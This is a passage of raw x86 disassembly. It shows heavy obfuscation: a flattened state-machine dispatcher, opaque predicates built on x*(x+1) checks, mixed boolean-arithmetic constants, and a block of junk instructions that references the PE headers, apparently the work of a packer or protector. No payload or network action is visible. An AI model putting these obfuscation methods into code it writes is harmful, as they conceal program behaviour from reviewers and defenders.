and esi, 0xd364b083
or eax, edx
or ecx, ebx
and ebx, 0x2c9b4f7c
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
not esi
and esi, 0x130d2f08
and ecx, 0xecf2d0f7
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0x1363b73f
and esi, 0xec9c48c0
or esi, edx
mov edx, eax
xor edx, 0xc8004880
xor eax, 0x34be9367
or ecx, eax
and eax, 0x1363b73f
and edx, 0xec9c48c0
or edx, eax
not ecx
xor edx, esi
mov esi, 0x9e2c4a76
or ecx, edx
xor ecx, 0xffffffff
sete dl
setne cl
cmp dword [0x4f6180], 0xa
setge ah
mov al, ah
xor al, cl
or cl, ah
or ah, dl
and al, dl
xor al, 1
mov edx, eax
or al, ah
xor dl, ah
xor al, 1
mov ah, cl
or al, dl
xor ah, 1
mov edx, eax
and cl, al
not dl
and dl, ah
or cl, dl
mov dl, ah
xor dl, al
or al, ah
xor al, 1
or al, dl
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x463538da
cmovne eax, esi
test cl, cl
mov ecx, 0x463538da
cmove eax, esi
test dl, 1
cmove eax, ecx
jmp 0x402740
cmp eax, 0x680eba10
je 0x40f135
cmp eax, 0x680f3901
je 0x40f13f
cmp eax, 0x690a0370
jne 0x402740
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
vmovsd xmm0, qword [ecx]
vmovsd qword [eax], xmm0
mov eax, 0xf251b19c
jmp 0x402740
cmp eax, 0xceacd1a0
je 0x40f149
cmp eax, 0xcede4367
je 0x40f153
cmp eax, 0xcf2e3794
jne 0x402740
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x190]
mov dword [eax], ecx
mov eax, 0x2e78bf3d
jmp 0x402740
cmp eax, 0x1fc2357a
je 0x40f163
cmp eax, 0x21c73f4c
je 0x40f22f
cmp eax, 0x22029054
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0x93c901f2
mov eax, ecx
and eax, 0x13010150
and edx, ecx
not ecx
mov esi, ecx
and esi, 0x80c800a2
mov ebx, edx
not ebx
and edx, 0xa1ceef86
or eax, esi
mov esi, eax
xor esi, 0x1000100
xor eax, 0xecfefeaf
mov edi, eax
or eax, ebx
and ebx, 0x5e311079
and edi, 0x5e311079
and esi, 0x81c80182
or esi, edi
or edx, ebx
not eax
xor edx, esi
mov esi, 0x2ffb7b41
or eax, edx
mov edx, eax
not edx
and eax, 0x46e09c43
and edx, 0xb91f63bc
or eax, edx
mov edx, eax
xor edx, 0xc0281510
xor eax, 0x28924243
and eax, 0x3d93cae3
and edx, 0xc26c351c
or edx, eax
xor edx, 0xc26c351c
or edx, ecx
mov eax, edx
not eax
and edx, 0x76ff9a5a
and eax, 0x890065a5
or edx, eax
xor edx, 0x76ff9a5a
sete al
setne cl
cmp dword [0x4f6180], 0xa
setge ch
setl ah
and ah, cl
inc cl
mov dl, ch
and al, ch
xor dl, cl
and cl, ch
or al, ah
and dl, ch
or cl, ah
mov ah, dl
xor dl, cl
xor cl, 1
xor ah, 1
or cl, ah
xor cl, 1
or cl, dl
mov edx, eax
xor cl, 1
xor dl, cl
or cl, al
mov eax, 0x1302ce46
xor cl, 1
or cl, dl
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x1302ce46
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x9903d899
je 0x40f242
cmp eax, 0x992d0ddb
je 0x40f24f
cmp eax, 0x994258f8
jne 0x402740
mov eax, 0xfb98c084
jmp 0x402740
cmp eax, 0x562de043
je 0x40f259
cmp eax, 0x5678bb33
je 0x40f263
cmp eax, 0x5719c8ba
jne 0x402740
mov ecx, dword [ebp - 0x1c8]
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x3a28f1be
and ecx, 0xc5d70e41
or edx, ecx
xor edx, 0x3a28f1be
or eax, edx
mov ecx, eax
xor ecx, 0x40000000
mov edx, eax
not edx
and ecx, eax
and edx, 0xd40aaa00
and eax, 0x2bf555ff
or eax, edx
mov ebx, ecx
not ebx
and ecx, 0x4f09e485
mov edi, eax
xor edi, 0x4b014485
xor eax, 0x940aaa00
mov esi, ebx
and esi, 0xb0f61b7a
or ebx, eax
and eax, 0xb0f61b7a
and edi, 0x4f09e485
or ecx, esi
or edi, eax
not ebx
xor edi, ecx
mov ecx, 0x5665888
or ebx, edi
mov eax, ebx
not eax
and ebx, 0xda9ff57a
and eax, 0x25600a85
or eax, ebx
cmp eax, 0xda9ff57a
mov eax, 0xd12add5c
cmove eax, ecx
jmp 0x402740
cmp eax, 0xffc40393
je 0x40f27c
cmp eax, 0xffdd7f51
je 0x40f344
cmp eax, 0xbe8e62
jne 0x402740
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x74]
push 0x400
push dword [ecx]
push dword [eax]
vzeroupper
call fcn.00434740
add esp, 0xc
rcr ebx, 0xe3
rcr eax, 0xc7
rol edx, 0x84
not ebx
bswap esi
rol esi, 0x19
imul edi
neg edx
rcr ebx, 0xe0
rcl eax, 0x85
rol eax, 0xbb
rol esi, 6
bswap ebx
or esi, 0x2e
inc esi
sub eax, 0x33
rol eax, 0x9a
not edx
not esi
dec edi
neg edx
and eax, 0x74
imul edx
or edi, 0x26
sub edx, 0x29
rol ebx, 0x19
neg edx
imul edi
sbb ebx, 0x8a
neg edi
inc ebx
ror eax, 0xfb
bswap ebx
mov eax, 0x4c
sub esi, 0x44
sbb eax, 0x34
neg eax
mov edi, 0x60
dec ebx
imul edi
imul esi
sbb eax, 0x5c
sub esi, 0xa8
or esi, 0xaa
rcl ebx, 0x59
rcr edi, 0xf0
ror edi, 0xf7
add edi, 0x26
or ebx, 0xea
bswap eax
rcr edx, 0x3d
inc edx
bswap ebx
neg edx
rcl eax, 0xd2
add edx, 0x5f
sub esi, 0x58
inc edi
rol ebx, 0x53
rcr edx, 0xf2
add edi, 0xdb
sub edi, 0xe5
bswap ebx
bswap ebx
rcl ebx, 0x9c
bswap edx
and edx, 0x65
dec edx
add edx, 0x56
rcr edx, 0xc1
neg edi
inc eax
dec esi
imul ebx
sub eax, 0x80
sub ebx, 0x5c
imul esi
ror ebx, 0x7a
ror ebx, 0xa6
sbb edi, 0x8b
not eax
rcr edi, 0xfa
not eax
rcr edi, 0xe2
sbb ebx, 0x92
ror edx, 0x64
or esi, 0x4d
and esi, 0x87
sub edi, 0xed
dec edx
ror edx, 0xe0
rcl edi, 0xd5
sbb esi, 0x71
sbb eax, 0xde
ror ebx, 0xcf
rcl edi, 0xc4
rol esi, 0x9e
inc edx
rcl eax, 0xcf
rol edx, 0xaa
rcl esi, 0xe
sub edi, 0x4a
and ebx, 0xb3
or edi, 0xff
or eax, 0x40
sbb edi, 0xaa
not edx
ror ebx, 0xa8
add edx, 0xe3
mov esi, 0xed
not edi
inc eax
sub eax, 0xc0
mov ebx, 0xe3
neg esi
mov ebx, pe_nt_image_headers32
add edx, 0x1f
sub esi, 8
mov edi, 0x8f
inc edx
imul ebx
rol ebx, 0x36
inc eax
neg edx
or esi, 0x41
inc esi
add edx, 5
neg ebx
rol esi, 0xa6
add ebx, 6
sub edx, 0x3e
or edx, 0xd9
sub ebx, 0x5b
rcl eax, 0x70
neg eax
rcl ebx, 0x16
sbb edi, 0x3b
or esi, 0xe9
and eax, 0x93
sbb ebx, 0x4a
sub edi, 0
not esi
rcl ebx, 0x73
not ebx
and edx, 0x5a
mov edx, 0xb8
dec esi
neg esi
add edi, 0xe2
ror esi, 0x24
mov dword [ebp - 0x17c], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x1034ef36
and eax, 0xefcb10c9
or ecx, eax
mov edx, ecx
mov esi, ecx
xor esi, 0xefcb10c9
xor edx, 0x1034ef36
xor ecx, 0x98e1667e
mov eax, esi
or eax, edx
or esi, 1
and edx, 0xaa788ace
and ecx, eax
mov eax, ecx
not eax
and ecx, 0x88d58949
and eax, 0x772a76b6
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xaa788acf
mov edi, eax
or eax, esi
and edi, 0x55877530
and esi, 0x55877530
or ecx, edi
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
mov esi, eax
or esi, 0xc03228de
and eax, 0xa401400
mov edx, ecx
or edx, 0x358d4120
and esi, 0xf5bf69fe
and ecx, 0x8201
and edx, 0xf5bf69fe
or ecx, esi
mov esi, 0xbd5c6e15
or eax, edx
xor eax, ecx
mov ecx, eax
not ecx
and eax, 0x358dc321
and ecx, 0xca723cde
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x17ca1219
mov edx, ecx
and edx, 0xe835ede6
or eax, edx
xor eax, 0xe835ede6
xor ecx, eax
test ecx, eax
sete dl
setne cl
cmp dword [0x4f6180], 0xa
mov ah, dl
setl ch
mov al, ch
xor ah, ch
xor cl, ch
or al, dl
and dl, ah
and ah, ch
xor cl, 1
xor dl, 1
xor ah, 1
xor al, 1
mov ch, dl
or al, cl
xor ch, ah
or ah, dl
mov cl, al
xor ah, 1
xor cl, 1
or ah, ch
mov dl, ah
and ah, al
xor dl, 1
and cl, dl
or dl, al
or cl, ah
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xb8a345bd
cmovne esi, eax
test dl, 1
mov eax, 0xbd5c6e15
cmovne eax, esi
jmp 0x40fb36
cmp eax, 0x3e4c553f
je 0x40f38e
cmp eax, 0x3efb24e4
je 0x40f398
cmp eax, 0x3fd8f621
jne 0x402740
mov eax, dword [ebp - 0x58]
mov dword [eax], 4
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x150b5795
and eax, 0xeaf4a86a
or ecx, eax
mov esi, ecx
mov eax, ecx
xor eax, 0x2a70a862
xor esi, 0x150b5795
xor ecx, 0xa8f61966
and ecx, esi
and eax, 0x3a70bfe3
and esi, 0xc58f401c
or esi, eax
mov eax, esi
xor esi, 0x3a70bfe3
xor eax, 0xc58f401c
mov edx, esi
or edx, 0x4202b10c
mov ebx, eax
and ebx, 0x9ce54e53
and esi, 0xbc3ddac3
mov edi, edx
and edi, 0x231a80a0
or ebx, edi
mov edi, ecx
not edi
and ecx, 0xdce57f5f
or edx, edi
and edi, 0x231a80a0
or ecx, edi
not edx
xor ecx, ebx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0xbdfd4ef2
and ecx, 0x4202b10d
or edx, ecx
mov ecx, eax
and ecx, 0x43c2253c
and eax, 1
or ecx, esi
mov esi, 0x2becd26e
xor ecx, 0xbc3ddac2
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xa8fb764c
and ecx, 0x570489b3
or eax, ecx
xor eax, 0xa8fb764c
or eax, edx
mov edx, eax
xor edx, 0x48bb4218
mov ecx, eax
and ecx, 0x40a94218
and edx, eax
not eax
and eax, 0x8120000
or ecx, eax
xor ecx, 0x40a94218
or ecx, edx
not edx
and edx, 0xb744bde7
and ecx, 0x48bb4218
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xaa832fc9
mov edx, eax
and edx, 0x557cd036
or ecx, edx
xor ecx, 0xaa832fc9
or ecx, eax
xor ecx, 0xffffffff
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov ch, dl
setl cl
setge al
and ch, al
and cl, ah
or cl, ch
xor cl, 1
or cl, al
xor al, dl
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
and ah, cl
or dl, al
mov ecx, 0x1bddb05b
mov al, ah
xor al, dl
test al, 1
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, esi
jmp 0x402732
cmp eax, 0xb9c13793
je 0x40f49f
cmp eax, 0xb9f9a1d1
je 0x40f5b2
cmp eax, 0xba3cbad5
jne 0x402740
mov eax, dword [ebp - 0x124]
mov ecx, dword [ebp - 0x6c]
sub ecx, dword [eax + 0x1c]
mov dword [ebp - 0x19c], ecx
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xd771524e
mov esi, edx
and esi, 0x288eadb0
and edx, 0x608f1559
or ecx, esi
mov esi, ecx
xor esi, 0x93201240
xor ecx, 0x288eadb1
mov edi, ecx
and edi, 0x6cddc41e
and esi, 0x93223be0
or esi, edi
mov edi, eax
xor edi, 0xfffffffe
and edi, eax
and eax, 0x9f70eaa6
mov ebx, edi
not ebx
and edi, 0x93223be1
or eax, edx
or ecx, ebx
and ebx, 0x6cddc41e
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edx, ecx
not edx
and ecx, 0xd3867ea9
mov esi, edx
and esi, 0x2c798156
or ecx, esi
mov esi, eax
xor esi, 0x93006aa0
xor eax, 0x20090150
and eax, 0x2c798156
and esi, 0xd3867ea9
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0xfc0cb290
setne dl
cmp dword [0x4f6180], 0xa
mov ah, dl
setge cl
setl al
mov ch, cl
or cl, dl
or ah, al
xor ch, dl
xor dl, al
xor cl, 1
xor ah, 1
and al, ch
or cl, ch
xor dl, 1
or al, ah
xor cl, 1
mov ah, al
or cl, dl
mov edx, eax
xor ah, 1
and dl, ah
xor dl, 1
or dl, ah
xor ah, cl
xor cl, 1
xor dl, 1
or dl, al
xor dl, cl
or cl, al
xor cl, 1
or cl, ah
mov eax, 0x5e9e43c4
mov ch, cl
xor ch, dl
test cl, 1
cmovne eax, esi
test dl, 1
mov edx, 0x5e9e43c4
cmove eax, esi
test ch, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x768103bf
je 0x40f5bc
cmp eax, 0x777576d7
je 0x40f5d5
cmp eax, 0x7842c901
jne 0x402740
cmp byte [ebp - 0x98], 0
mov eax, 0x50b44ba
mov ecx, 0xef1a0891
cmovne eax, ecx
jmp 0x402740
cmp eax, 0xd7ba84fe
je 0x40f714
cmp eax, 0xd86e15ab
je 0x40f733
cmp eax, 0xd957cc7e
jne 0x402740
mov eax, 0xffc40393
jmp 0x402740
cmp eax, 0xaa1e5de
je 0x40f743
cmp eax, 0xadaea90
je 0x40f82a
cmp eax, 0xbc136f4
jne 0x402740
mov eax, dword [0x4f6184]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
and edx, 0xd6af5cb6
mov ecx, eax
and ecx, 0x2950a348
or edx, ecx
mov ecx, eax
or ecx, 0x75e6a6be
mov esi, edx
xor esi, 0x82095800
xor edx, 0x2140a209
and ecx, 0x75e6a6bf
and edx, 0x75e6a6bf
and esi, 0x8a195940
or esi, edx
xor ecx, esi
mov esi, 0x3b512f48
mov edx, ecx
not edx
and ecx, 0xdae1f1bf
and edx, 0x251e0e40
or ecx, edx
xor ecx, 0xdae1f1bf
or ecx, eax
xor ecx, 0xffffffff
setne cl
sete ah
cmp dword [0x4f6180], 0xa
mov al, ah
mov dh, cl
setl dl
setge ch
inc dh
xor al, dl
and cl, dl
or dl, ah
and dh, ch
xor al, 1
mov ah, dl
or cl, dh
xor ah, al
or al, dl
mov edx, ecx
xor al, 1
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xde3f5ad1
cmovne ecx, esi
test al, 1
mov eax, 0xde3f5ad1
cmovne eax, ecx
jmp 0x40c512
cmp eax, 0x826d5e34
je 0x40f83d
cmp eax, 0x844c54a1
je 0x40f9e8
cmp eax, 0x857cb8c7
jne 0x402740
mov eax, dword [ebp - 0x24]
mov eax, 0x1932e5c8
jmp 0x402740
cmp eax, 0x47823c4a
je 0x40fb41
cmp eax, 0x47f458e1
je 0x40fc31
cmp eax, 0x48361298
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc2023219
and eax, 0xc81c4c2
mov edx, ecx
and edx, 0x300c0804
or ecx, 0xe0060a09
or esi, edx
and ecx, 0xe1760b29
mov edx, esi
xor edx, 0x2003010
xor esi, 0x21740920
or eax, ecx
and esi, 0xe1760b29
and edx, 0x12083014
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xf20e3a1d
and ecx, 0xdf1c5e2
or eax, ecx
mov esi, eax
xor esi, 0x11c618f6
mov edx, eax
and edx, 0xf1f5d603
and esi, eax
not eax
and eax, 0xe0a29fc
or edx, eax
mov ecx, edx
xor edx, 0xe0a29fc
xor ecx, 0xf1f5d603
mov eax, edx
or eax, 0xee39e709
mov ebx, ecx
and ebx, 0x1c210f2
and edx, 0x25c9f701
mov edi, eax
and edi, 0xb4152a0d
or ebx, edi
mov edi, esi
not edi
and esi, 0x4bead5f2
or eax, edi
and edi, 0xb4152a0d
or esi, edi
not eax
xor esi, ebx
or eax, esi
not esi
and esi, 0xee39e708
and eax, 0x11c618f7
or eax, esi
mov esi, ecx
and esi, 0xda3608fe
and ecx, 1
or esi, edx
xor esi, 0x25c9f700
or ecx, esi
mov edx, ecx
not edx
and ecx, 0x6a6005c0
and edx, 0x959ffa3f
or ecx, edx
mov edx, eax
not edx
and eax, 0x375bd15e
mov esi, edx
and esi, 0xc8a42ea1
or eax, esi
mov esi, ecx
xor esi, 0x22400140
xor ecx, 0x959ffa3f
or edx, ecx
and ecx, 0xc8a42ea1
and esi, 0x375bd15e
or esi, ecx
not edx
xor esi, eax
or edx, esi
mov esi, 0x7d6dea89
mov eax, edx
not eax
and edx, 0xd94d4d15
and eax, 0x26b2b2ea
or edx, eax
mov eax, edx
not eax
and edx, 0x256bbc86
and eax, 0xda944379
or edx, eax
mov eax, edx
xor eax, 0xd10a40
xor edx, 0xe0229083
and eax, 0x1cd56b50
and edx, 0xe32a94af
or edx, eax
xor edx, 0xe32a94af
setne dl
sete ah
cmp dword [0x4f6180], 0xa
mov ecx, edx
setl ch
setge al
or dl, ch
and cl, al
and ch, ah
or ch, cl
xor dl, 1
mov cl, ch
xor cl, al
or al, ah
xor al, 1
and cl, ch
or al, dl
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, al
xor al, 1
xor ah, al
and al, cl
and ah, cl
or al, dl
mov cl, ah
xor cl, al
test cl, 1
mov ecx, 0xb65504b3
jmp 0x40f21e
cmp eax, 0xef1a0891
je 0x40fce0
cmp eax, 0xef3a5ca4
je 0x40fde8
cmp eax, 0xf06b9920
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0xa80411f5
mov esi, edx
and esi, 0x4292c800
and edx, 0x962d2528
or ecx, esi
mov esi, ecx
xor esi, 0x28000111
xor ecx, 0x57fbee0a
mov edi, ecx
and edi, 0x848c9cee
and esi, 0x6a124111
or esi, edi
mov edi, eax
xor edi, 0xea96d9f5
and edi, eax
and eax, 0x69d2dad7
mov ebx, edi
not ebx
and edi, 0x7b736311
or eax, edx
or ecx, ebx
and ebx, 0x848c9cee
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov edi, 0x74f5a28f
mov esi, ecx
not esi
and ecx, 0xea96d9f4
and esi, 0x1569260b
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xc7dc576d
mov esi, edx
and esi, 0x3823a892
or ecx, esi
mov esi, eax
xor esi, 0x41d05245
xor eax, 0x10212000
and eax, 0x3823a892
and esi, 0xc7dc576d
or esi, eax
xor esi, ecx
not esi
or esi, edx
cmp esi, 0xffffffff
mov esi, 0xc64e2752
sete cl
cmp dword [0x4f6180], 0xa
setl dl
mov eax, edx
or dl, cl
xor al, cl
mov ah, dl
mov ecx, eax
xor cl, 1
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
xor cl, al
and al, cl
mov edx, ecx
xor dl, al
test cl, 1
cmovne edi, esi
test al, al
mov eax, 0x74f5a28f
cmove edi, esi
test dl, 1
cmove edi, eax
mov eax, edi
jmp 0x402740
cmp eax, 0x2d3fe15d
je 0x40fecd
cmp eax, 0x2e78bf3d
je 0x40feda
cmp eax, 0x2ee0f02a
jne 0x402740
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x80]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x1d0], eax
mov eax, dword [ebp - 0x5c]
mov eax, dword [eax]
mov dword [ebp - 0x1d4], eax
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x402a4200
and ecx, 0xacc09971
and eax, 0x1315248e
or edx, eax
xor edx, 0x402a4200
or ecx, edx
mov eax, ecx
not eax
and ecx, 0x15eab093
and eax, 0xea154f6c
or ecx, eax
mov eax, ecx
mov esi, ecx
xor eax, 0x46d5d61d
xor esi, 0x6f4352dd
mov edx, ecx
xor edx, 0xb92a29e2
xor ecx, 0x42c10010
and esi, eax
or eax, 0xd6697b3f
mov edi, edx
and edi, 0x1868000
or edx, 1
and ecx, 0x7ae309d0
mov ebx, eax
and ebx, 0xae5057c0
and edx, 0x851cf62f
or edi, ebx
mov ebx, esi
not ebx
and esi, 0x51afa83f
or edx, ecx
or eax, ebx
and ebx, 0xae5057c0
or esi, ebx
not eax
xor esi, edi
or eax, esi
mov esi, eax
not esi
and eax, 0x2018090b
and esi, 0xdfe7f6f4
or eax, esi
mov esi, eax
xor esi, 0x9080542
xor eax, 0xf6717235
mov ecx, eax
and ecx, 0x6287eabc
and esi, 0x9d781543
or esi, ecx
mov ecx, edx
xor ecx, 0x85181402
xor edx, 0x7ae309d0
or eax, edx
and edx, 0x6287eabc
and ecx, 0x9d781542
or ecx, edx
not eax
xor ecx, esi
mov esi, 0xa20cb2df
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x4b8f197f
and ecx, 0xb470e680
or eax, ecx
mov ecx, eax
xor ecx, 0x408c0921
xor eax, 0xa0004000
and eax, 0xab03505e
and ecx, 0x54fcafa1
or ecx, eax
mov eax, ecx
xor eax, 0x28004004
xor ecx, 0x54fcafa1
mov edx, ecx
and edx, 0xd77fb0da
and eax, 0x28804f25
or eax, edx
xor eax, 0xd77fb0da
xor ecx, eax
test ecx, eax
sete ah
setne dl
cmp dword [0x4f6180], 0xa
mov ch, ah
setl cl
setge al
and dl, cl
xor cl, ah
or ch, al
and cl, al
xor cl, 1
mov dh, cl
or cl, ch
xor dh, ch
mov ch, al
xor cl, 1
xor ch, ah
or cl, dh
and ch, al
and al, ah
or al, dl
mov edx, ecx
or al, ch
mov ah, al
xor dl, al
and al, cl
and dl, cl
xor ah, 1
xor cl, 1
and cl, ah
or al, cl
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x2bbc3795
jmp 0x40c508
cmp eax, 0xa44738cb
je 0x40ff93
cmp eax, 0xa46e643c
je 0x40ffa0
cmp eax, 0xa599f4c3
jne 0x402740
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xd
mov eax, dword [ebp - 0x2c]
mov eax, 0x45ecc2ac
jmp 0x402740
cmp eax, 0x631103ae
je 0x40ffaa
cmp eax, 0x63282de4
je 0x40ffb4
cmp eax, 0x63bb271e
jne 0x402740
mov eax, dword [ebp - 0x130]
movzx eax, word [eax]
mov edx, eax
mov ecx, eax
or ecx, 0xa51
not edx
mov esi, edx
or esi, 0xc
and ecx, 0xa5d
and edx, 0xffffa5a0
or edx, ecx
mov ecx, eax
and esi, 0xa5d
and ecx, 0x5002
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
and ecx, 0xffff95ac
and edx, 0x6a53
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn esi, eax, edx
or ecx, esi
not ecx
or ecx, edx
cmp cx, 0xffff
mov ecx, dword [0x4f6184]
setne byte [ebp - 0x9d]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x47e0ec2b
mov esi, ecx
and esi, 0xb81f13d4
mov edi, ecx
or edi, 0x4e888024
and ecx, 0x4376938
or edx, esi
and edi, 0xde8c98a5
mov esi, edx
xor edx, 0x8080004
xor esi, 0x20640a
or edx, 0x90041881
and esi, 0x2020675a
and edx, 0xde8c98a5
or esi, edx
mov edx, eax
and edx, 0x1530000
and eax, 0xfbc896c7
or edx, edi
or eax, ecx
xor edx, esi
mov ecx, eax
xor eax, 0x4376938
xor ecx, 0xfbc896c7
mov esi, edx
not esi
and edx, 0xc41831d5
and esi, 0x3be7ce2a
or edx, esi
mov esi, edx
xor esi, 0xaab0d6aa
xor edx, 0x554f2955
and eax, esi
and ecx, edx
mov esi, 0x38866484
or eax, ecx
not eax
or eax, edx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x4f6180], 0xa
mov ch, ah
setge al
setl cl
and ch, cl
xor cl, dl
and dl, al
or al, ah
xor al, 1
or dl, ch
mov ah, cl
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor ah, al
and al, cl
and ah, cl
xor cl, 1
not dl
and dl, cl
mov cl, ah
or al, dl
mov edx, 0x9a8434e7
xor cl, al
test al, al
cmovne edx, esi
test ah, ah
mov eax, 0x9a8434e7
cmove edx, eax
test cl, cl
cmovne edx, esi
mov eax, edx
jmp 0x402740
cmp eax, 0xc6d7253e
je 0x40ffbe
cmp eax, 0xc9cf7fc6
je 0x41012d
cmp eax, 0xca298bbd
jne 0x402740
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0xbc]
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1b8], eax
mov eax, 0x631103ae
jmp 0x402740
cmp eax, 0x1bc51532
je 0x410146
cmp eax, 0x1bddb05b
je 0x41028a
cmp eax, 0x1c046d60
jne 0x402740
mov ecx, dword [0x4f6184]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov ecx, eax
not edx
or ecx, 1
mov edi, edx
mov esi, ecx
and esi, 0xbc106a60
and edi, 0x43ef959e
and edx, 0xd2a5c739
or edi, esi
mov esi, eax
xor esi, 0xfffffffe
and esi, eax
and eax, 0x2d5a38c6
mov ebx, esi
not ebx
and esi, 0x43ef959f
or eax, edx
or ecx, ebx
and ebx, 0xbc106a60
xor eax, 0x2d5a38c6
or esi, ebx
not ecx
xor esi, edi
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x6a280dff
and esi, 0x95d7f200
or ecx, esi
mov esi, 0x690a0370
xor ecx, 0x6a280dff
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x41d510f6
and ecx, 0xbe2aef09
or eax, ecx
xor eax, 0x41d510f6
setne ah
sete al
cmp dword [0x4f6180], 0xa
mov dh, ah
setl ch
setge dl
mov cl, ch
and dh, dl
or ah, ch
and cl, al
xor al, ch
and al, ch
or cl, dh
mov ch, ah
xor al, 1
xor cl, 1
xor ch, al
or al, ah
or cl, dl
xor al, 1
mov edx, ecx
or al, ch
xor dl, 1
mov ah, al
mov ch, al
or al, dl
xor ah, 1
xor al, 1
and ch, cl
and dl, ah
xor ah, cl
or al, ah
or dl, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xf251b19c
cmovne eax, esi
test dl, 1
mov edx, 0xf251b19c
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402740
cmp eax, 0x94647129
je 0x41029d
cmp eax, 0x952b61a7
je 0x410351
cmp eax, 0x9599fcb4
jne 0x402740
mov eax, dword [ebp - 0x24]
mov eax, 0x2f138c92
jmp 0x402740
cmp eax, 0x53fea84d
je 0x4104cb
cmp eax, 0x546e96b8
je 0x4105cc
cmp eax, 0x54e31bec
jne 0x402740
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x34]
inc eax
mov dword [ecx], eax
mov eax, 0xc5889d28
jmp 0x402740
cmp eax, 0xfd3d32a0
je 0x4105d6
cmp eax, 0xfd8086ff
je 0x4105e0
cmp eax, 0xfe2ecb1b
jne 0x402740
mov eax, dword [0x4f6184]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov esi, ecx
and esi, 0x880a091
mov eax, edx
and eax, 0x22401140
and edx, 0xd94985c8
or esi, eax
mov eax, ecx
xor eax, 0x2ac0b1d1
and eax, ecx
xor esi, 0x880a091
and ecx, 0x26b67a37
or eax, esi
or ecx, edx
mov esi, eax
not esi
and eax, 0x2ac0b1d0
and esi, 0xd53f4e2f
or eax, esi
mov esi, eax
not esi
mov edx, eax
and edx, 0xad3c8f66
and esi, 0x52c37099
or esi, edx
mov edx, ecx
xor edx, 0x2827011
xor ecx, 0xd94985c8
or eax, ecx
and ecx, 0xad3c8f66
and edx, 0x52c37099
or edx, ecx
not eax
xor edx, esi
mov esi, 0xd665256d
or eax, edx
mov ecx, eax
not ecx
and eax, 0xf381d685
and ecx, 0xc7e297a
or eax, ecx
xor eax, 0xf381d685
setne ah
sete al
cmp dword [0x4f6180], 0xa
mov cl, ah
setge ch
setl dl
inc cl
and ah, dl
or dl, cl
and cl, ch
and al, ch
or cl, ah
or al, ah
mov ah, dl
xor cl, 1
mov ch, al
xor ah, cl
or cl, dl
xor ch, 1
xor cl, 1
or cl, ah
mov edx, ecx
not dl
and dl, ch
or ch, cl
and cl, al
mov eax, 0x93c33358
or cl, dl
mov edx, ecx
xor dl, ch
test cl, cl
cmovne eax, esi
test ch, 1
mov ecx, 0x93c33358
jmp 0x40bcb4
cmp eax, 0x390e2518
je 0x4105f9
cmp eax, 0x3a9cdbd8
je 0x41060f
cmp eax, 0x3ae2262c
jne 0x402740
